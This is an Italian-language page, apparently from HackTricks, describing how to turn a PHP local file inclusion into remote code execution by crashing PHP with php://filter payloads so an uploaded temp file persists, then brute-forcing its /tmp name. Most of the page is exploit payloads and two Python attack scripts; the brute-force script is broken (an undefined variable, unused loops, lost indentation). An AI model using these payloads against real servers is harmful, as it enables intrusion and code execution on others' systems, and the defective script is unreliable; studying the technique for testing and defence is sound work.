LFI2RCE via Segmentation Fault

Sostieni HackTricks

Secondo i writeup https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (seconda parte) e https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, i seguenti payload hanno causato un segmentation fault in PHP:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Dovresti sapere che se invii una richiesta POST contenente un file, PHP creerà un file temporaneo in /tmp/php<qualcosa> con il contenuto di quel file. Questo file verrà automaticamente eliminato una volta che la richiesta è stata elaborata.

Se trovi una LFI e riesci a causare un errore di segmentazione in PHP, il file temporaneo non verrà mai eliminato. Pertanto, puoi cercarlo sfruttando la vulnerabilità LFI finché non lo trovi ed esegui codice arbitrario.

Puoi utilizzare l'immagine docker https://hub.docker.com/r/easyengine/php7.0 per i test.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
Sostieni HackTricks

Last updated